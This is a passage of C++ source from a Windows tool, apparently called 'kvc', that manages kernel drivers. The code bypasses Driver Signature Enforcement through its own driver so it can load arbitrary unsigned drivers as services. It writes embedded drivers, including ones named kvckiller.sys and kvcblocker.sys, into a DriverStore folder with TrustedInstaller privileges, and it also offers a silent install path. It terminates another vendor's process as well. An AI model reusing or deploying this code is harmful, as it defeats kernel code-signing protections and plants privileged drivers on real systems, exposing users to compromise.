            tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            AdjustTokenPrivileges(token.get(), FALSE, &tkp, 0, NULL, 0);
        }
    }
    if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, 
                          SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
        ERROR(L"Failed to initiate reboot: %d", GetLastError());
    }
    return false; // Don't proceed - reboot required
}

std::wstring Controller::NormalizeDriverPath(const std::wstring& input) noexcept {
    if (input.find(L'\\') != std::wstring::npos || input.find(L':') != std::wstring::npos) {
        std::wstring path = input;
        if (path.length() < 4 || StringUtils::ToLowerCaseCopy(path.substr(path.length() - 4)) != L".sys") {
            path += L".sys";
        }
        return path;
    }
    std::wstring filename = input;
    if (filename.length() < 4 || StringUtils::ToLowerCaseCopy(filename.substr(filename.length() - 4)) != L".sys") {
        filename += L".sys";
    }
    wchar_t sysDir[MAX_PATH];
    GetSystemDirectoryW(sysDir, MAX_PATH);
    return std::wstring(sysDir) + L"\\drivers\\" + filename;
}

std::wstring Controller::ExtractServiceName(const std::wstring& driverPath) noexcept {
    size_t lastSlash = driverPath.find_last_of(L"\\/");
    std::wstring filename = (lastSlash != std::wstring::npos) 
        ? driverPath.substr(lastSlash + 1) 
        : driverPath;
    if (filename.length() >= 4) {
        std::wstring ext = StringUtils::ToLowerCaseCopy(filename.substr(filename.length() - 4));
        if (ext == L".sys") {
            filename = filename.substr(0, filename.length() - 4);
        }
    }
    return filename;
}

bool Controller::LoadExternalDriver(const std::wstring& driverPath, DWORD startType) noexcept {
    std::wstring normalizedPath = NormalizeDriverPath(driverPath);
    std::wstring serviceName = ExtractServiceName(normalizedPath);
    INFO(L"Loading external driver: %s", serviceName.c_str());
    INFO(L"Path: %s", normalizedPath.c_str());
    
    // Verify file exists
    if (GetFileAttributesW(normalizedPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
        ERROR(L"Driver file not found: %s", normalizedPath.c_str());
        return false;
    }
    
    // CHECK AND HANDLE HVCI
    if (!CheckAndHandleHVCI(L"load", normalizedPath)) {
        return false;
    }
    
    bool dseDisabled = false;
    bool driverLoaded = false;
    
    // STEP 1: ACTIVATE DSE BYPASS (Safe Mode)
    {
        INFO(L"Activating DSE bypass (Safe Mode)...");
        PerformAtomicCleanup();
        
        if (!BeginDriverSession()) {
            ERROR(L"Failed to start driver session for DSE bypass");
            return false;
        }
        
        if (!m_rtc->Initialize()) {
            ERROR(L"Failed to initialize handle kvc (kvc.sys)");
            EndDriverSession(true);
            return false;
        }
        
        if (!m_dseBypass) {
            m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
        }
        
        if (!m_dseBypass->Disable(DSEBypass::Method::Safe)) {
            ERROR(L"Failed to disable DSE");
            EndDriverSession(true);
            return false;
        }
        
        dseDisabled = true;
        SUCCESS(L"DSE bypass activated successfully");
        EndDriverSession(true); // Close session to avoid conflicts with SCM
    }
    
    // STEP 2: LOAD THE DRIVER (with guaranteed DSE restore on exit)
    {
        bool serviceSuccess = false;
        bool apiInitialized = false;
        
        // RAII-style DSE restore guarantee
        auto dseRestoreGuard = [&]() {
            if (dseDisabled) {
                INFO(L"Auto-restoring DSE protection...");
                
                if (!BeginDriverSession()) {
                    ERROR(L"Failed to start driver session for DSE restore");
                    ERROR(L"DSE remains disabled - run 'kvc dse on --safe' manually");
                    return;
                }
                
                if (!m_rtc->Initialize()) {
                    ERROR(L"Failed to initialize driver handle for DSE restore");
                    ERROR(L"DSE remains disabled - run 'kvc dse on --safe' manually");
                    EndDriverSession(true);
                    return;
                }
                
                if (!m_dseBypass) {
                    m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
                }
                
                if (m_dseBypass->Restore(DSEBypass::Method::Safe)) {
                    SUCCESS(L"DSE protection restored successfully");
                } else {
                    ERROR(L"Failed to restore DSE protection");
                    ERROR(L"Run 'kvc dse on --safe' to manually restore kernel protection");
                }
                
                EndDriverSession(true);
            }
        };
        
        if (!InitDynamicAPIs()) {
            ERROR(L"Failed to initialize service APIs");
            dseRestoreGuard();
            return false;
        }
        apiInitialized = true;
        
        // Try to create and start the service
        SCManagerGuard scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE));
        if (!scm) {
            ERROR(L"Failed to open Service Control Manager: %d", GetLastError());
            dseRestoreGuard();
            return false;
        }

        // Check if service already exists
        ServiceHandleGuard service(g_pOpenServiceW(scm.get(), serviceName.c_str(), SERVICE_ALL_ACCESS));
        if (service) {
            INFO(L"Service already exists - attempting to start...");

            // Query current status
            SERVICE_STATUS status;
            if (QueryServiceStatus(service.get(), &status)) {
                if (status.dwCurrentState == SERVICE_RUNNING) {
                    SUCCESS(L"Driver service is already running");
                    driverLoaded = true;
                    dseRestoreGuard();
                    return true;
                }
            }

            // Try to start
            if (g_pStartServiceW(service.get(), 0, nullptr)) {
                SUCCESS(L"Driver service started successfully");
                driverLoaded = true;
            } else {
                DWORD err = GetLastError();
                if (err == ERROR_SERVICE_ALREADY_RUNNING) {
                    SUCCESS(L"Driver service is already running");
                    driverLoaded = true;
                } else {
                    ERROR(L"Failed to start existing service: %d", err);
                }
            }
        } else {
            // Create new service
            INFO(L"Creating new driver service...");
            service.reset(g_pCreateServiceW(
                scm.get(),
                serviceName.c_str(),
                serviceName.c_str(),
                SERVICE_ALL_ACCESS,
                SERVICE_KERNEL_DRIVER,
                startType,
                SERVICE_ERROR_NORMAL,
                normalizedPath.c_str(),
                nullptr, nullptr, nullptr, nullptr, nullptr
            ));

            if (!service) {
                ERROR(L"Failed to create service: %d", GetLastError());
                dseRestoreGuard();
                return false;
            }

            SUCCESS(L"Driver service created successfully");

            // Start the service
            if (g_pStartServiceW(service.get(), 0, nullptr)) {
                SUCCESS(L"Driver service started successfully");
                driverLoaded = true;
            } else {
                DWORD err = GetLastError();
                if (err == ERROR_SERVICE_ALREADY_RUNNING) {
                    SUCCESS(L"Driver service is already running");
                    driverLoaded = true;
                } else {
                    ERROR(L"Failed to start service: %d", err);
                }
            }
        }

        // Guards automatically close handles on scope exit
        
        // STEP 3: AUTO-RESTORE DSE AFTER LOAD (always called)
        dseRestoreGuard();
    }

    // Connect kvcstrm client immediately after successful load
    if (driverLoaded && serviceName == L"kvcstrm") {
        if (m_strm.Open())
            SUCCESS(L"kvcstrm client connected");
        else
            ERROR(L"kvcstrm loaded but Open() failed - check driver status");
    }

    return driverLoaded;
}

bool Controller::ReloadExternalDriver(const std::wstring& driverNameOrPath) noexcept {
    std::wstring normalizedPath = NormalizeDriverPath(driverNameOrPath);
    std::wstring serviceName = ExtractServiceName(normalizedPath);
    INFO(L"Reloading driver: %s", serviceName.c_str());
    
    // CHECK AND HANDLE HVCI
    if (!CheckAndHandleHVCI(L"reload", normalizedPath)) {
        return false;
    }
    
    bool dseDisabled = false;
    bool driverReloaded = false;
    
    // STEP 1: ACTIVATE DSE BYPASS (Safe Mode)
    {
        INFO(L"Activating DSE bypass (Safe Mode)...");
        PerformAtomicCleanup();
        
        if (!BeginDriverSession()) {
            ERROR(L"Failed to start driver session");
            return false;
        }
        
        if (!m_rtc->Initialize()) {
            ERROR(L"Failed to initialize handle kvc (kvc.sys)");
            EndDriverSession(true);
            return false;
        }
        
        if (!m_dseBypass) {
            m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
        }
        
        if (!m_dseBypass->Disable(DSEBypass::Method::Safe)) {
            ERROR(L"Failed to disable DSE");
            EndDriverSession(true);
            return false;
        }
        
        dseDisabled = true;
        SUCCESS(L"DSE bypass activated successfully");
        EndDriverSession(true);
    }
    
    // STEP 2: RELOAD THE DRIVER (with guaranteed DSE restore)
    {
        // RAII-style DSE restore guarantee
        auto dseRestoreGuard = [&]() {
            if (dseDisabled) {
                INFO(L"Auto-restoring DSE protection...");
                
                if (!BeginDriverSession()) {
                    ERROR(L"Failed to start driver session for DSE restore");
                    ERROR(L"DSE remains disabled - run 'kvc dse on --safe' manually");
                    return;
                }
                
                if (!m_rtc->Initialize()) {
                    ERROR(L"Failed to initialize driver handle for DSE restore");
                    ERROR(L"DSE remains disabled - run 'kvc dse on --safe' manually");
                    EndDriverSession(true);
                    return;
                }
                
                if (!m_dseBypass) {
                    m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
                }
                
                if (m_dseBypass->Restore(DSEBypass::Method::Safe)) {
                    SUCCESS(L"DSE protection restored successfully");
                } else {
                    ERROR(L"Failed to restore DSE protection");
                    ERROR(L"Run 'kvc dse on --safe' to manually restore kernel protection");
                }
                
                EndDriverSession(true);
            }
        };
        
        if (!InitDynamicAPIs()) {
            ERROR(L"Failed to initialize service APIs");
            dseRestoreGuard();
            return false;
        }
        
        // Stop existing service if running
        {
            SCManagerGuard scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS));
            if (scm) {
                ServiceHandleGuard service(g_pOpenServiceW(scm.get(), serviceName.c_str(), SERVICE_ALL_ACCESS));
                if (service) {
                    SERVICE_STATUS status;
                    if (g_pControlService(service.get(), SERVICE_CONTROL_STOP, &status)) {
                        INFO(L"Service stopped successfully");
                    }
                }
            }
        }

        // Start service
        bool startSuccess = false;
        {
            SCManagerGuard scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS));
            if (scm) {
                ServiceHandleGuard service(g_pOpenServiceW(scm.get(), serviceName.c_str(), SERVICE_START));
                if (!service) {
                    // Create if doesn't exist
                    service.reset(g_pCreateServiceW(
                        scm.get(),
                        serviceName.c_str(),
                        serviceName.c_str(),
                        SERVICE_ALL_ACCESS,
                        SERVICE_KERNEL_DRIVER,
                        SERVICE_DEMAND_START,
                        SERVICE_ERROR_NORMAL,
                        normalizedPath.c_str(),
                        nullptr, nullptr, nullptr, nullptr, nullptr
                    ));
                }

                if (service) {
                    if (g_pStartServiceW(service.get(), 0, nullptr) || GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
                        SUCCESS(L"Driver service restarted successfully");
                        startSuccess = true;
                        driverReloaded = true;
                    } else {
                        ERROR(L"Failed to start service: %d", GetLastError());
                    }
                }
            }
        }
        
        // STEP 3: AUTO-RESTORE DSE AFTER RELOAD (always called)
        dseRestoreGuard();
    }

    // Re-connect kvcstrm client after successful reload
    if (driverReloaded && serviceName == L"kvcstrm") {
        if (m_strm.Open())
            SUCCESS(L"kvcstrm client reconnected");
        else
            ERROR(L"kvcstrm reloaded but Open() failed - check driver status");
    }

    return driverReloaded;
}

// Opens the kvcstrm device handle.
// If the service is not running, loads kvcstrm.sys from DriverStore FileRepository
// via LoadExternalDriver (includes DSE bypass via kvc.sys — same path as kvc driver load).
// Works even when the service is not yet registered in SCM.
// Sets autoStarted=true only when this call loaded the driver (caller must CleanupStrm).
bool Controller::EnsureStrmOpen(bool& autoStarted) noexcept {
    autoStarted = false;

    if (m_strm.IsOpen()) return true;
    if (m_strm.Open())   return true;   // service was running, handle just wasn't open

    // Locate kvcstrm.sys in DriverStore FileRepository (avc.inf_amd64_* glob)
    std::wstring sysPath = GetDriverStorePath() + L"\\kvcstrm.sys";
    if (GetFileAttributesW(sysPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
        DEBUG(L"[EnsureStrmOpen] kvcstrm.sys not found at %s", sysPath.c_str());
        return false;
    }

    // LoadExternalDriver: DSE bypass + service create/start + m_strm.Open()
    if (!LoadExternalDriver(sysPath)) return false;

    autoStarted = true;
    return m_strm.IsOpen();
}

// Cleans up kvcstrm only when EnsureStrmOpen auto-loaded it.
// Removes service entry from registry (DeleteService) so SCM is clean after use.
// If user loaded kvcstrm manually (autoStarted=false) — leaves everything untouched.
void Controller::CleanupStrm(bool autoStarted) noexcept {
    if (autoStarted)
        RemoveExternalDriver(L"kvcstrm");
}

bool Controller::StopExternalDriver(const std::wstring& driverNameOrPath) noexcept {
    std::wstring serviceName = ExtractServiceName(driverNameOrPath);
    INFO(L"Stopping driver service: %s", serviceName.c_str());

    // Close kvcstrm client handle before stopping the driver to avoid
    // keeping an open device reference during unload (potential BSOD)
    if (serviceName == L"kvcstrm")
        m_strm.Close();

    if (!InitDynamicAPIs()) {
        ERROR(L"Failed to initialize service APIs");
        return false;
    }

    SCManagerGuard scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT));
    if (!scm) {
        ERROR(L"Failed to open Service Control Manager: %d", GetLastError());
        return false;
    }

    ServiceHandleGuard service(g_pOpenServiceW(scm.get(), serviceName.c_str(), SERVICE_STOP | SERVICE_QUERY_STATUS));
    if (!service) {
        DWORD err = GetLastError();
        if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
            ERROR(L"Service not found: %s", serviceName.c_str());
        } else {
            ERROR(L"Failed to open service: %d", err);
        }
        return false;
    }

    SERVICE_STATUS status;
    if (QueryServiceStatus(service.get(), &status)) {
        if (status.dwCurrentState == SERVICE_STOPPED) {
            INFO(L"Service is already stopped");
            return true;
        }
    }

    if (!g_pControlService(service.get(), SERVICE_CONTROL_STOP, &status)) {
        ERROR(L"Failed to stop service: %d", GetLastError());
        return false;
    }

    SUCCESS(L"Driver service stopped: %s", serviceName.c_str());
    return true;
}

bool Controller::RemoveExternalDriver(const std::wstring& driverNameOrPath) noexcept {
    std::wstring serviceName = ExtractServiceName(driverNameOrPath);
    INFO(L"Removing driver service: %s", serviceName.c_str());
    StopExternalDriver(serviceName);
    if (!InitDynamicAPIs()) {
        ERROR(L"Failed to initialize service APIs");
        return false;
    }

    SCManagerGuard scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT));
    if (!scm) {
        ERROR(L"Failed to open Service Control Manager: %d", GetLastError());
        return false;
    }

    ServiceHandleGuard service(g_pOpenServiceW(scm.get(), serviceName.c_str(), DELETE));
    if (!service) {
        DWORD err = GetLastError();
        if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
            INFO(L"Service does not exist: %s", serviceName.c_str());
            return true;
        }
        ERROR(L"Failed to open service for deletion: %d", err);
        return false;
    }

    if (!g_pDeleteService(service.get())) {
        DWORD err = GetLastError();
        if (err == ERROR_SERVICE_MARKED_FOR_DELETE) {
            INFO(L"Service already marked for deletion");
            return true;
        }
        ERROR(L"Failed to delete service: %d", err);
        return false;
    }

    SUCCESS(L"Driver service removed: %s", serviceName.c_str());
    return true;
}

<<<FILE: kvc/ControllerDriverManager.cpp>>>
Created:  2026-05-27 19:01:23
Modified: 2026-05-27 19:01:23
Size:     24.86 KB
// ControllerDriverManager.cpp
// Driver lifecycle management: installation, service control, extraction
// Author: Marek Wesolowski, 2025

#include "Controller.h"
#include "common.h"
#include "Utils.h"
#include "HelpSystem.h"
#include "resource.h"
#include <filesystem>
#include <tlhelp32.h>

namespace fs = std::filesystem;

// ============================================================================
// SERVICE CLEANUP AND MANAGEMENT
// ============================================================================

// Forcefully remove driver service, ignoring most errors
bool Controller::ForceRemoveService() noexcept {
    if (!InitDynamicAPIs()) {
        return false;
    }

    StopDriverService();
    	
    SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
    if (!hSCM) {
        return false;
    }

    SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), DELETE);
    if (!hService) {
        DWORD err = GetLastError();
        CloseServiceHandle(hSCM);
        return (err == ERROR_SERVICE_DOES_NOT_EXIST); 
    }

    BOOL success = g_pDeleteService(hService);
    DWORD err = GetLastError();
    
    CloseServiceHandle(hService);
    CloseServiceHandle(hSCM);

    return success || (err == ERROR_SERVICE_MARKED_FOR_DELETE);
}

// Detect zombie service state (marked for deletion but not removed)
bool Controller::IsServiceZombie() noexcept {
    if (!InitDynamicAPIs()) return false;
    
    SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
    if (!hSCM) return false;
    
    SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), DELETE);
    if (!hService) {
        DWORD err = GetLastError();
        CloseServiceHandle(hSCM);
        return false;
    }
    
    BOOL delResult = g_pDeleteService(hService);
    DWORD err = GetLastError();
    
    CloseServiceHandle(hService);
    CloseServiceHandle(hSCM);
    
    return (!delResult && err == ERROR_SERVICE_MARKED_FOR_DELETE);
}

// ============================================================================
// NON-COMPLIANT HOST PROCESS HANDLING
// ============================================================================
// Some tools (e.g. MSI Afterburner) load a non-compliant kernel driver and keep
// it alive as long as their host process runs.  Stopping the service via SCM
// leaves the driver in STOP_PENDING as long as the host holds it open.
// The reliable fix: terminate the host — it cleans up the driver on exit.
// Registry key: HKLM\SOFTWARE\WOW6432Node\MSI\Afterburner -> InstallPath
// The host is not restarted — it will relaunch itself if configured to do so.
// ============================================================================

bool Controller::CheckAndTerminateNonCompliantHost() noexcept
{
    HKEY hKey = nullptr;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
                      L"SOFTWARE\\WOW6432Node\\MSI\\Afterburner",
                      0, KEY_READ, &hKey) != ERROR_SUCCESS)
        return false;

    WCHAR pathBuf[MAX_PATH + 1]{};
    DWORD bufSize = sizeof(pathBuf);
    DWORD type = 0;
    LSTATUS ls = RegQueryValueExW(hKey, L"InstallPath", nullptr, &type,
                                  reinterpret_cast<LPBYTE>(pathBuf), &bufSize);
    RegCloseKey(hKey);

    if (ls != ERROR_SUCCESS || type != REG_SZ || pathBuf[0] == L'\0')
        return false;

    std::wstring exePath = pathBuf;
    std::wstring exeName = fs::path(exePath).filename().wstring();
    std::wstring exeNameLow = StringUtils::ToLowerCaseCopy(exeName);

    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return false;

    PROCESSENTRY32W pe{};
    pe.dwSize = sizeof(pe);
    bool closed = false;

    if (Process32FirstW(hSnap, &pe)) {
        do {
            if (StringUtils::ToLowerCaseCopy(pe.szExeFile) == exeNameLow) {
                HANDLE hProc = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pe.th32ProcessID);
                if (hProc) {
                    TerminateProcess(hProc, 0);
                    WaitForSingleObject(hProc, 5000);
                    CloseHandle(hProc);
                    closed = true;
                    INFO(L"[non-compliant host] Terminated: %s (PID %u)", exeName.c_str(), pe.th32ProcessID);
                }
            }
        } while (Process32NextW(hSnap, &pe));
    }
    CloseHandle(hSnap);

    if (closed) {
        // Poll service state until fully stopped — no Sleep, tight loop.
        // After host exits the driver unloads; this should break within microseconds.
        if (InitDynamicAPIs()) {
            SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
            if (hSCM) {
                SC_HANDLE hSvc = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_QUERY_STATUS);
                if (hSvc) {
                    SERVICE_STATUS st{};
                    for (int i = 0; i < 5000 &&
                         QueryServiceStatus(hSvc, &st) &&
                         st.dwCurrentState != SERVICE_STOPPED; ++i) {}
                    CloseServiceHandle(hSvc);
                }
                CloseServiceHandle(hSCM);
            }
        }
    }

    return closed;
}


// ============================================================================
// SERVICE LIFECYCLE MANAGEMENT
// ============================================================================

bool Controller::StopDriverService() noexcept {
    DEBUG(L"StopDriverService called");
    
    if (!InitDynamicAPIs()) {
        DEBUG(L"InitDynamicAPIs failed in StopDriverService");
        return false;
    }
    
    SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
    if (!hSCM) {
        DEBUG(L"OpenSCManagerW failed: %d", GetLastError());
        return false;
    }

    SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), 
                                         SERVICE_STOP | SERVICE_QUERY_STATUS);
    if (!hService) {
        DWORD err = GetLastError();
        CloseServiceHandle(hSCM);
        
        if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
            DEBUG(L"Service does not exist - considered stopped");
            return true;
        }
        
        DEBUG(L"Failed to open service: %d", err);
        return false;
    }

    SERVICE_STATUS status;
    if (!QueryServiceStatus(hService, &status)) {
        CloseServiceHandle(hService);
        CloseServiceHandle(hSCM);
        return false;
    }

    if (status.dwCurrentState == SERVICE_STOPPED) {
        CloseServiceHandle(hService);
        CloseServiceHandle(hSCM);
        DEBUG(L"Service already stopped");
        return true;
    }

    // Kernel drivers stop synchronously - no waiting required
    if (status.dwCurrentState == SERVICE_RUNNING) {
        if (!g_pControlService(hService, SERVICE_CONTROL_STOP, &status)) {
            DWORD err = GetLastError();
            if (err != ERROR_SERVICE_NOT_ACTIVE) {
                DEBUG(L"ControlService failed: %d", err);
                CloseServiceHandle(hService);
                CloseServiceHandle(hSCM);
                return false;
            }
        }
    }

    CloseServiceHandle(hService);
    CloseServiceHandle(hSCM);
    
    DEBUG(L"Service stop completed");
    return true;
}

bool Controller::StartDriverService() noexcept {
    if (!InitDynamicAPIs()) return false;
    
    SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
    if (!hSCM) {
        ERROR(L"Failed to open service control manager: %d", GetLastError());
        return false;
    }

    SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS);
    if (!hService) {
        CloseServiceHandle(hSCM);
        ERROR(L"Failed to open kernel driver service: %d", GetLastError());
        return false;
    }

    SERVICE_STATUS status;
    if (QueryServiceStatus(hService, &status)) {
        if (status.dwCurrentState == SERVICE_RUNNING) {
            CloseServiceHandle(hService);
            CloseServiceHandle(hSCM);
            INFO(L"Kernel driver service already running");
            return true;
        }
    }

    BOOL success = g_pStartServiceW(hService, 0, nullptr);
    DWORD err = GetLastError();

    CloseServiceHandle(hService);
    CloseServiceHandle(hSCM);

    if (!success && err != ERROR_SERVICE_ALREADY_RUNNING) {
        ERROR(L"Failed to start kernel driver service: %d", err);
        return false;
    }

    SUCCESS(L"Kernel driver service started successfully");
    return true;
}

bool Controller::StartDriverServiceSilent() noexcept {
    if (!InitDynamicAPIs()) return false;
        
    SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
    if (!hSCM) return false;

    SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS);
    if (!hService) {
        CloseServiceHandle(hSCM);
        return false;
    }

    SERVICE_STATUS status;
    bool success = true;
    
    if (QueryServiceStatus(hService, &status)) {
        if (status.dwCurrentState != SERVICE_RUNNING) {
            success = g_pStartServiceW(hService, 0, nullptr) || (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING);
        }
    }

    CloseServiceHandle(hService);
    CloseServiceHandle(hSCM);
    return success;
}

// ============================================================================
// DRIVER INSTALLATION
// ============================================================================

bool Controller::InstallDriver() noexcept {
    ForceRemoveService();
    
    // Check for zombie service state
    if (IsServiceZombie()) {
        CRITICAL(L"");
        CRITICAL(HelpLayout::MakeBorder(L'=', 63).c_str());
        CRITICAL(L"  DRIVER SERVICE IN ZOMBIE STATE - SYSTEM RESTART REQUIRED");
        CRITICAL(HelpLayout::MakeBorder(L'=', 63).c_str());
        CRITICAL(L"");
        CRITICAL(L"The kernel driver service is marked for deletion but cannot be");
        CRITICAL(L"removed until the system is restarted. This typically occurs");
        CRITICAL(L"when driver loading is interrupted during initialization.");
        CRITICAL(L"");
        INFO(L"Required action: Restart your computer to clear the zombie state");
        INFO(L"After restart, the driver will load normally");
        CRITICAL(L"");
        CRITICAL(HelpLayout::MakeBorder(L'=', 63).c_str());
        CRITICAL(L"");
        return false;
    }
    
    // Extract drivers from resource
    std::vector<BYTE> kvckillerData, kvcblockerData, kvcstrmData;
    auto driverData = ExtractDriver(kvckillerData, kvcblockerData, kvcstrmData);
    if (driverData.empty()) {
        ERROR(L"Failed to extract kvc.sys from resource");
        return false;
    }
    if (kvckillerData.empty()) {
        ERROR(L"kvckiller.sys not present in resource (optional)");
    }
    if (kvcstrmData.empty()) {
        ERROR(L"Failed to extract kvcstrm.sys from resource");
        return false;
    }

    // Get target paths (all drivers land in the same DriverStore directory)
    fs::path driverDir      = GetDriverStorePath();
    fs::path driverPath     = driverDir / fs::path(GetDriverFileName());
    fs::path kvckillerPath  = driverDir / fs::path(L"kvckiller.sys");
    fs::path kvcblockerPath = driverDir / fs::path(L"kvcblocker.sys");
    fs::path kvcstrmPath    = driverDir / fs::path(GetKvcstrmFileName());

    INFO(L"Target driver path: %s", driverPath.c_str());
    if (!kvckillerData.empty()) {
        INFO(L"Target kvckiller path: %s", kvckillerPath.c_str());
    }
    if (!kvcblockerData.empty()) {
        INFO(L"Target kvcblocker path: %s", kvcblockerPath.c_str());
    }
    INFO(L"Target kvcstrm path: %s", kvcstrmPath.c_str());

    // Ensure directory exists with TrustedInstaller privileges
    INFO(L"Creating driver directory with TrustedInstaller privileges...");
    if (!m_trustedInstaller.CreateDirectoryAsTrustedInstaller(driverDir.wstring())) {
        ERROR(L"Failed to create driver directory: %s", driverDir.c_str());
        return false;
    }
    DEBUG(L"Driver directory ready: %s", driverDir.c_str());

    // Write kvc.sys
    INFO(L"Writing kvc.sys with TrustedInstaller privileges...");
    if (!m_trustedInstaller.WriteFileAsTrustedInstaller(driverPath.wstring(), driverData)) {
        ERROR(L"Failed to write kvc.sys to system location");
        return false;
    }
    DWORD fileAttrs = GetFileAttributesW(driverPath.c_str());
    if (fileAttrs == INVALID_FILE_ATTRIBUTES) {
        ERROR(L"kvc.sys verification failed: %s", driverPath.c_str());
        return false;
    }
    DEBUG(L"kvc.sys written successfully: %s (%zu bytes)", driverPath.c_str(), driverData.size());

    // Write kvckiller.sys if present
    if (!kvckillerData.empty()) {
        INFO(L"Writing kvckiller.sys with TrustedInstaller privileges...");
        if (!m_trustedInstaller.WriteFileAsTrustedInstaller(kvckillerPath.wstring(), kvckillerData)) {
            ERROR(L"Failed to write kvckiller.sys to system location");
            return false;
        }
        DWORD killerAttrs = GetFileAttributesW(kvckillerPath.c_str());
        if (killerAttrs == INVALID_FILE_ATTRIBUTES) {
            ERROR(L"kvckiller.sys verification failed: %s", kvckillerPath.c_str());
            return false;
        }
        DEBUG(L"kvckiller.sys written successfully: %s (%zu bytes)", kvckillerPath.c_str(), kvckillerData.size());
    }

    // Write kvcblocker.sys if present
    if (!kvcblockerData.empty()) {
        INFO(L"Writing kvcblocker.sys with TrustedInstaller privileges...");
        if (!m_trustedInstaller.WriteFileAsTrustedInstaller(kvcblockerPath.wstring(), kvcblockerData)) {
            ERROR(L"Failed to write kvcblocker.sys to system location");
            return false;
        }
        DWORD blockerAttrs = GetFileAttributesW(kvcblockerPath.c_str());
        if (blockerAttrs == INVALID_FILE_ATTRIBUTES) {
            ERROR(L"kvcblocker.sys verification failed: %s", kvcblockerPath.c_str());
            return false;
        }
        DEBUG(L"kvcblocker.sys written successfully: %s (%zu bytes)", kvcblockerPath.c_str(), kvcblockerData.size());
    }

    // Write kvcstrm.sys
    INFO(L"Writing kvcstrm.sys with TrustedInstaller privileges...");
    if (!m_trustedInstaller.WriteFileAsTrustedInstaller(kvcstrmPath.wstring(), kvcstrmData)) {
        ERROR(L"Failed to write kvcstrm.sys to system location");
        return false;
    }
    DWORD omniAttrs = GetFileAttributesW(kvcstrmPath.c_str());
    if (omniAttrs == INVALID_FILE_ATTRIBUTES) {
        ERROR(L"kvcstrm.sys verification failed: %s", kvcstrmPath.c_str());
        return false;
    }
    DEBUG(L"kvcstrm.sys written successfully: %s (%zu bytes)", kvcstrmPath.c_str(), kvcstrmData.size());

    // Register service
    if (!InitDynamicAPIs()) return false;
        
    SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
    if (!hSCM) {
        ERROR(L"Failed to open service control manager: %d", GetLastError());
        return false;
    }

    SC_HANDLE hService = g_pCreateServiceW(
        hSCM, 
        GetServiceName().c_str(), 
        L"KVC",
        SERVICE_ALL_ACCESS, 
        SERVICE_KERNEL_DRIVER,
        SERVICE_DEMAND_START,
        SERVICE_ERROR_NORMAL, 
        driverPath.c_str(),
        nullptr, nullptr, nullptr, nullptr, nullptr
    );

    if (!hService) {
        DWORD err = GetLastError();
        CloseServiceHandle(hSCM);
        
        if (err != ERROR_SERVICE_EXISTS) {
            ERROR(L"Failed to create driver service: %d", err);
            return false;
        }
        
        INFO(L"Driver service already exists, proceeding");
    } else {
        CloseServiceHandle(hService);
        SUCCESS(L"Driver service created successfully");
    }

    CloseServiceHandle(hSCM);
    SUCCESS(L"Driver installed and registered as Windows service");
    return true;
}

// ============================================================================
// SILENT INSTALLATION
// ============================================================================

bool Controller::InstallDriverSilently() noexcept {
    if (IsServiceZombie()) {
        return false;
    }
    
    // Extract drivers from resource
    std::vector<BYTE> kvckillerData, kvcblockerData, kvcstrmData;
    auto driverData = ExtractDriver(kvckillerData, kvcblockerData, kvcstrmData);
    if (driverData.empty() || kvcstrmData.empty()) return false;

    // Get target paths (all drivers land in the same DriverStore directory)
    fs::path driverDir      = GetDriverStorePath();
    fs::path driverPath     = driverDir / fs::path(GetDriverFileName());
    fs::path kvckillerPath  = driverDir / fs::path(L"kvckiller.sys");
    fs::path kvcblockerPath = driverDir / fs::path(L"kvcblocker.sys");
    fs::path kvcstrmPath    = driverDir / fs::path(GetKvcstrmFileName());

    // Ensure directory exists with TrustedInstaller privileges
    if (!m_trustedInstaller.CreateDirectoryAsTrustedInstaller(driverDir.wstring())) {
        return false;
    }

    // Write kvc.sys
    if (!m_trustedInstaller.WriteFileAsTrustedInstaller(driverPath.wstring(), driverData)) {
        return false;
    }
    if (GetFileAttributesW(driverPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
        return false;
